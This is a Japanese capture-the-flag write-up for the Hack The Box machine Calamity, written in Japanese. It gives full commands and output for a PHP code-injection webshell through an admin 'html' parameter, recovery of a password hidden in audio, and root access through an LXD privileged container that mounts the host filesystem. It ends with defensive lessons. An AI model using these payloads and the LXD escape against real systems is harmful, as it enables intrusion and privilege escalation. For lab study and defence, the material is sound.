Hack The BoxのWriteup(Calamity)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Calamity — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)のみ
→
admin.php cookie門番
HTMLコメントにPW平文
→
HTML Parser 未サニタイズPHP
GET html= で shell_exec
→
www-data シェル
user.txt ✓
→
recov.wav / rick.wav 差分
隠し音声→パスワード抽出
→
xalvas SSHログイン
→
lxdグループ所属を確認
→
特権LXDコンテナ
security.privileged=true
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & VPN接続確認

BASH
ip a show tun0
ping -c 2 -W 3 10.129.88.33
nmap -Pn -T4 -p 21,22,80,443,8080 10.129.88.33
RESULT
tun0: inet 10.10.15.200/23 (HTB VPN 接続済み)
64 bytes from 10.129.88.33: icmp_seq=1 ttl=63 time=190 ms

PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
8080/tcp closed http-proxy

バナー確認 (ターゲット同定)

BASH
curl -s -i http://10.129.88.33/
echo | nc -w3 10.129.88.33 22
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Tue, 27 Jun 2017 17:18:04 GMT

<h1 style="color:red">Brotherhood Software - writing security related software since 2009</h1>
<!-- and bad at html and design since forever -->

SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2
✅
ターゲット確認: “Brotherhood Software” バナーと2017年の Last-Modified から 指定IPが HackTheBox Calamity (Insane / D17.100.38) と一致することを確認。 開放ポートは 22/80のみ という極端に絞られた構成で、本機は自作Webアプリと カスタムSUIDバイナリ1本に攻略経路が集約されている。
PHASE 2

admin.php の cookie 門番突破

admin.php のソース確認 — ラベル入替フォーム + パスワードヒント

BASH
curl -s http://10.129.88.33/admin.php
RESULT
<form method="post">
Password: <input type="text" name="user"><br>
Username: <input type="password" name="pass"><br>
  <input type="submit" value="Log in to the powerful administrator page">
<!-- password is:skoupidotenekes-->
</form>
⚠️
表示ラベルの “Password” と “Username” が入れ替わっているワナ。 実際に送信すべきなのは name属性通り: user=admin (ユーザー名) と pass=skoupidotenekes (ソースコメントに平文で 埋め込まれたパスワード) で、表示文言は無視してよい。

単純なPOSTでは失敗する — cookieゲートの発見

BASH
curl -s -i -X POST http://10.129.88.33/admin.php -d "user=admin&pass=skoupidotenekes"
RESULT
HTTP/1.1 200 OK
Set-Cookie: adminpowa=noonecares
refresh: 0;

(ログインフォームがそのまま返るだけで認証は成立しない)
ℹ️
初回アクセス時に Set-Cookie: adminpowa=noonecares が発行されるが、 その同じリクエストにはまだ反映されない。この cookie を次の リクエストで送り返して初めて認証チェックが通る、という2段階構成になっている。

cookieを付けて再送 → ログイン成功

BASH
curl -s -i -b "adminpowa=noonecares" -X POST http://10.129.88.33/admin.php \
  -d "user=admin&pass=skoupidotenekes"
RESULT
<title>GOT U BEEJAY</title>
TADAA IT HAS NOTHING
...anyway I made an html interpreter to work on my php skills !
html is super-harmless to our system!

<form method="get">
Your HTML: <input type="text" name="html"><br>
  <input type="submit" value="SHOW ME DA PAGE">
</form>
✅
ログイン成功。 管理者ページの正体は「HTMLをそのまま埋め込んで表示する」 という名目の GETパラメータ html を受け取るページだった。 開発者コメントの通り「html is super-harmless」なはずだが、サニタイズが一切無い。
PHASE 3

HTML Parser 経由の未サニタイズPHP実行 → user.txt

PHPタグ注入の確認

BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
  --data-urlencode 'html=<?php echo "CMDTEST_".md5("x"); ?>'
RESULT
...(装飾HTMLの末尾に)
CMDTEST_9dd4e461268c8034f5c8564e155c67a6
✅
md5(“x”) の計算結果が返ってきたことで、html パラメータの値が そのまま PHPコードとして実行される(RCE) ことを確認。

コマンド実行 (shell_exec) — 1リクエスト1コマンドの独立実行方式

BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
  --data-urlencode 'html=<?php echo "OUT:".shell_exec("id;hostname;uname -a"); ?>'
RESULT
OUT:uid=33(www-data) gid=33(www-data) groups=33(www-data)
calamity
Linux calamity 4.4.0-81-generic #104-Ubuntu SMP ... i686 athlon i686 GNU/Linux
⚠️
重要: このマシンには nc・python・sh 等の プロセスを数秒で強制終了する監視スクリプトが常駐している (後述 3-4 の intrusions ログで実証)。そのため 持続的な リバースシェルは使わず、毎回 shell_exec() を1回限りの HTTPリクエストとして送る「独立リクエスト型Webシェル」として admin.php 自体を使い続けるのが最も安定する。

user.txt 取得

BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
  --data-urlencode 'html=<?php echo "OUT:".shell_exec("cat /home/xalvas/user.txt"); ?>'
RESULT
OUT:ec85507d650aaa402119bc357b47b381
user.txt — www-data経由で読み取り (world-readable)
ec85507d650aaa402119bc357b47b381

xalvasホームディレクトリの偵察

BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
  --data-urlencode 'html=<?php echo shell_exec("ls -la /home/xalvas/ 2>&1"); ?>'
# dontforget.txt / intrusions も同様に cat で取得
RESULT
drwxr-x--- 2 root   xalvas    4096 app
-rw-r--r-- 1 root   root       225 dontforget.txt
-rw-r--r-- 1 root   root      1424 intrusions
-rw-r--r-- 1 xalvas xalvas 3196724 recov.wav
-r--r--r-- 1 root   root        33 user.txt

--- dontforget.txt ---
peda keeps commads history in the working dir...you should make a dir in /tmp
and work from there. keep in mind that tmp is not listable...

--- intrusions (末尾) ---
POSSIBLE INTRUSION BY BLACKLISTED PROCCESS nc    ...PROCESS KILLED AT 2017-06-29 12:16:10
POSSIBLE INTRUSION BY BLACKLISTED PROCCESS python3...PROCESS KILLED AT 2022-07-13 09:38:04

--- alarmclocks/ ---
-rw-r--r-- 1 root root 3196668 rick.wav
-rw-r--r-- 1 root root 2645839 xouzouris.mp3
🚨
intrusions ログが nc / python / python3 / sh の自動kill を裏付けている(3-2の判断根拠)。また recov.wav と alarmclocks/rick.wav という「サイズが微妙に異なる同系統の音声ファイル」 が次のフェーズの手掛かりになる。
PHASE 4

隠し音声フォレンジック — recov.wav / rick.wav の位相差分

base64+echoでの転送は大容量WAVで途中切断される

BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" \
  --data-urlencode 'html=<?php echo base64_encode(file_get_contents("/home/xalvas/alarmclocks/rick.wav")); ?>' \
  -o rick.b64
RESULT
実ファイルサイズ: 3,196,668 bytes (base64で約4,262,224文字になるはず)
1回目の取得: 2,807,813 文字で 切断
2回目の取得: 2,709,263 文字で別の長さで切断 (再現性なし)
⚠️
echo base64_encode(...) を1リクエストで返す方式は、3MB級の ファイルで毎回異なる長さに途中切断される(タイムアウト系の 挙動と推測、原因は未特定)。この方式は信頼できないため、別の取得経路に切り替える。

解決策: /uploads/ へコピーしてApache静的配信で直接ダウンロード

BASH
curl -s -b "adminpowa=noonecares" -G "http://10.129.88.33/admin.php" --data-urlencode \
  'html=<?php echo shell_exec("cp /home/xalvas/recov.wav /home/xalvas/alarmclocks/rick.wav /var/www/html/uploads/ 2>&1; ls -la /var/www/html/uploads/"); ?>'

curl -s -o recov.wav "http://10.129.88.33/uploads/recov.wav"
curl -s -o rick.wav  "http://10.129.88.33/uploads/rick.wav"
RESULT
-rw-r--r-- 1 www-data www-data 3196724 recov.wav
-rw-r--r-- 1 www-data www-data 3196668 rick.wav

$ file recov.wav rick.wav
recov.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
rick.wav:  RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
(サイズが ls -la の値と完全一致 = 欠損なし)
✅
/uploads/ ディレクトリは www-data が書込可能(かつ Apacheから直接配信可能)なため、PHPのechoを経由せず静的ファイル配信 として取得すれば巨大ファイルでも欠損しない。取得後は rm -f で 公開ディレクトリから速やかに削除しておく。

サンプル単位の差分(位相反転相当)でアラーム音を相殺

PYTHON
import wave, numpy as np

with wave.open('recov.wav','rb') as wf:
    p = wf.getparams()
    a = np.frombuffer(wf.readframes(wf.getnframes()), dtype=np.int16).astype(np.int64)
with wave.open('rick.wav','rb') as wf:
    b = np.frombuffer(wf.readframes(wf.getnframes()), dtype=np.int16).astype(np.int64)

diff = a - b                      # 共通のアラーム音(Rick Astleyの曲)を相殺
maxv = np.iinfo(np.int16).max
diff = np.clip(diff, -maxv-1, maxv).astype(np.int16)

with wave.open('diff.wav','wb') as wf:
    wf.setnchannels(p.nchannels); wf.setsampwidth(p.sampwidth); wf.setframerate(p.framerate)
    wf.writeframes(diff.tobytes())
RESULT
両ファイルとも 799,140 frames / 44100Hz / stereo / 16bit で長さが完全一致
diff.wav のうち非ゼロサンプルの割合: 86.6%
ffmpeg volumedetect: mean_volume=-29.9dB, max_volume=-8.3dB(小さいが信号あり)
ℹ️
2つの録音は同じ曲(Rick Astley – Never Gonna Give You Up)の別録りで、 フレーム数とフォーマットが完全一致しているため、単純なサンプル減算 だけで共通成分(アラーム曲)を打ち消し、残差として隠された音声を取り出せる。

増幅 + 前後半スワップ + 音声認識 (Google Web Speech API)

BASH
# 音量が小さいので +15dB、認識しやすいよう mono/16kHzに変換
ffmpeg -y -i diff.wav -af "volume=15dB" -ac 1 -ar 16000 diff_boost.wav

pip install --break-system-packages SpeechRecognition
PYTHON (前後半スワップ + 書き起こし)
import wave
with wave.open('diff_boost.wav','rb') as wf:
    p = wf.getparams(); raw = wf.readframes(wf.getnframes())
half = len(raw)//2
half -= half % (p.sampwidth * p.nchannels)
swapped = raw[half:] + raw[:half]          # 「前半/後半が入れ替わっている」というヒント通りに復元
with wave.open('diff_swapped.wav','wb') as wf:
    wf.setnchannels(p.nchannels); wf.setsampwidth(p.sampwidth); wf.setframerate(p.framerate)
    wf.writeframes(swapped)

import speech_recognition as sr
r = sr.Recognizer()
with sr.AudioFile('diff_swapped.wav') as source:
    audio = r.record(source)
print(r.recognize_google(audio))
RESULT
диff_boost.wav (スワップ無し)  → '47936.00'
diff_swapped.wav (スワップ有り) → 'your password is 18547936 dot dot asterisk'
✅
パスワード判明: “dot dot asterisk” は文字通り記号 ..* を読み上げたもの。よって xalvas のパスワードは 18547936..*。スワップ無しでは断片的にしか 聞こえないが、前後半を入れ替えると文全体が正しい順序で再生される。
PHASE 5

xalvas SSHログイン & 権限調査

抽出パスワードでSSH認証

BASH
sshpass -p '18547936..*' ssh -o StrictHostKeyChecking=no xalvas@10.129.88.33 "id; hostname"
RESULT
uid=1000(xalvas) gid=1000(xalvas) groups=1000(xalvas),4(adm),24(cdrom),30(dip),
46(plugdev),110(lxd),115(lpadmin),116(sambashare)
calamity
✅
SSHログイン成功。 本来この先は ~/app/goodluck (SUID想定) の多段バッファオーバーフロー — createusername関数の構造体汚染で secretキーをリーク → admin化 → 2段目BOFでEIP制御 → ret2mprotect という 非常に複雑な経路が意図されている(公式ライトアップの大半はこれに割かれている)。
⚠️
しかし groups に lxd が含まれている点に注目。 これは公式ライトアップでも「LXD Bypass」として明記されている既知のショートカットで、 goodluckバイナリに一切触れずに root を取得できる。
PHASE 6

LXDグループ悪用 → root.txt

LXD環境確認

BASH
sshpass -p '18547936..*' ssh xalvas@10.129.88.33 \
  "which lxc lxd; lxc version; lxc image list; uname -m"
RESULT
/usr/bin/lxc
/usr/bin/lxd
2.0.10
(imageは未登録、uname -m = i686 = 32bit)
ℹ️
LXD 2.0.10 かつ ターゲットが32bit(i686) である点が重要。 通常のLXD-alpine-builderの手順は x86_64 を前提にしていることが多いため、 i386/x86用のAlpineイメージを明示的に用意する必要がある。

i386(32bit)版 Alpineイメージの作成

BASH
git clone --depth 1 https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine -a x86
RESULT
alpine-v3.24-x86-20261023_0642.tar.gz 作成完了 (約3.9MB)
metadata.yaml: {"architecture": "x86", ...}

ハマりポイント: LXD 2.0.x は architecture 文字列 “x86” を拒否する

BASH
scp alpine-v3.24-x86-*.tar.gz xalvas@10.129.88.33:/tmp/alpine.tar.gz
ssh xalvas@10.129.88.33 "lxc image import /tmp/alpine.tar.gz --alias alpine"
RESULT
error: Architecture isn't supported: x86
⚠️
原因: LXD 2.0.10 のアーキテクチャ名テーブルは "x86" という表記を認識せず、32bit x86 は "i686" (または "i386") という表記でなければ受理しない。 build-alpine が生成する metadata.yaml の architecture フィールドを書き換えて tar.gz を再生成すれば解決する。
BASH (修正)
mkdir extract && tar -xzf alpine-v3.24-x86-*.tar.gz -C extract metadata.yaml
sed -i 's/"x86"/"i686"/g' extract/metadata.yaml

mkdir repack && cd repack
tar -xzf ../alpine-v3.24-x86-*.tar.gz
cp ../extract/metadata.yaml ./metadata.yaml
tar -czf ../alpine-fixed.tar.gz metadata.yaml templates rootfs
RESULT
scp + 再importで成功:
+--------+--------------+--------+--------------------------------+------+--------+
| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION            | ARCH |  SIZE  |
+--------+--------------+--------+--------------------------------+------+--------+
| alpine | 206cba63b9ea | no     | alpine v3.24 (20261023_06:42)   | i686 | 3.76MB |
+--------+--------------+--------+--------------------------------+------+--------+

特権コンテナ作成 → ホストの / をマウント → root.txt

BASH
ssh xalvas@10.129.88.33 "
lxc init alpine calroot -c security.privileged=true
lxc config device add calroot sharedroot disk source=/ path=/mnt/root recursive=true
lxc start calroot
sleep 5
lxc exec calroot -- /bin/sh -c 'cat /mnt/root/root/root.txt'
"
RESULT
Creating calroot
Device sharedroot added to calroot
3093be156040c0377b32efe100df8d4a
root.txt — LXD特権コンテナ経由でホストの / を読み取り
3093be156040c0377b32efe100df8d4a
✅
security.privileged=true のコンテナはホストと同じ特権で動作するため、 バインドマウントした /mnt/root (= ホストの /) は コンテナ内からroot権限で読み書き自由になる。 goodluck バイナリの複雑な多段BOFに一切触れずに root.txt を取得できた。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — www-data経由 (world-readable)
ec85507d650aaa402119bc357b47b381
root.txt — LXD特権コンテナ経由
3093be156040c0377b32efe100df8d4a

使用した脆弱性・設定ミス

脆弱性/設定ミス 対象 影響 深刻度 利用方法
平文パスワード露出 admin.php (HTMLコメント) 認証バイパス情報の漏洩 Medium HTMLソースのコメント内に管理ログインパスワードが平文で記載
未サニタイズPHP実行 admin.php 「HTML Parser」(GET html) リモートコード実行 (www-data) Critical <?php ... ?> タグをそのまま評価・実行。1リクエスト型shell_execで プロセス監視killerを回避しuser.txt取得
ステガノグラフィ的パスワード隠蔽 recov.wav / alarmclocks/rick.wav SSH認証情報の漏洩 Medium 2つの近似音声の位相差分(サンプル減算)でアラーム音を相殺し隠し音声を抽出・音声認識
LXDグループの誤設定 xalvas ユーザー (lxd グループ所属) 権限昇格 (root) Critical sudoなしでlxdグループに追加 → security.privileged=trueコンテナでホストの/ をマウントしroot.txt取得 (意図されたgoodluckバイナリの 多段BOFを完全に回避)

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + curl バナー確認22/80のみ開放、”Brotherhood Software” = Calamity確定
2認証突破HTMLコメント平文PW + 2段階cookieゲートadmin.php管理ページ(HTML Parser)へのアクセス権
3RCE未サニタイズPHPタグ + 独立リクエスト型shell_execuser.txt、recov.wav/rick.wav回収
4音声フォレンジックサンプル差分 + 前後半swap + Google音声認識xalvasのSSHパスワード 18547936..*
5横移動SSH + 権限調査(id)xalvasシェル、lxdグループ所属を確認
6権限昇格i686版Alpine LXDイメージ + 特権コンテナroot.txt(goodluckの多段BOFを回避)

公式に意図されていた「本来の」root化経路 (参考)

ℹ️
本機 “Insane” の主題は ~/app/goodluck という自作SUIDバイナリに対する 多段バッファオーバーフローである: ①createusername()の 12byteコピー/4byte配列ミスマッチでEBX(GOTベース)を汚染→②printdeb()を 任意アドレス読み取りプリミティブ化して hey.secret をリーク→③リーク値で hey.adminとhey.secretを正しく偽装しattempt_login()を 通してdebug()を起動→④debug()が公開する大きな脆弱バッファと メモリマップに対し、ASLR無効・ret2mprotect(スタックページをRWX化)でシェルコードを実行し root化する、という流れが公式ライトアップの主題。本レポートでは xalvasがlxdグループに所属という設定ミスがこの複雑な経路を完全に 迂回できたため、時間効率を優先してLXD経路を採用した。

学んだ教訓 & 防御策

問題点防御策
管理ログインパスワードがHTMLコメントに平文で残っている コメントやデバッグ情報を本番コードから完全に削除する。認証情報はソースではなく サーバー側の秘密管理機構(環境変数・Vault等)で管理する。
ユーザー入力(HTML)をサニタイズせずPHPとして評価・出力している ユーザー入力を直接 eval/include 的に扱わない。 HTML整形が目的なら htmlspecialchars() でエスケープし、 テンプレートエンジンを使う。
world-readableな user.txt、世界読み取り可能な隠しパスワード音声 秘密情報を含むファイルはパーミッションを所有者限定(600/640)にする。
一般ユーザーがsudo権限なしでlxdグループに追加されている lxdグループ(dockerグループと同様に実質root相当の権限)をメンバーシップ管理の 対象外にしない。付与前に必ず影響範囲を把握し、最小権限の原則を徹底する。
HackTheBox: Calamity | 完全攻略レポート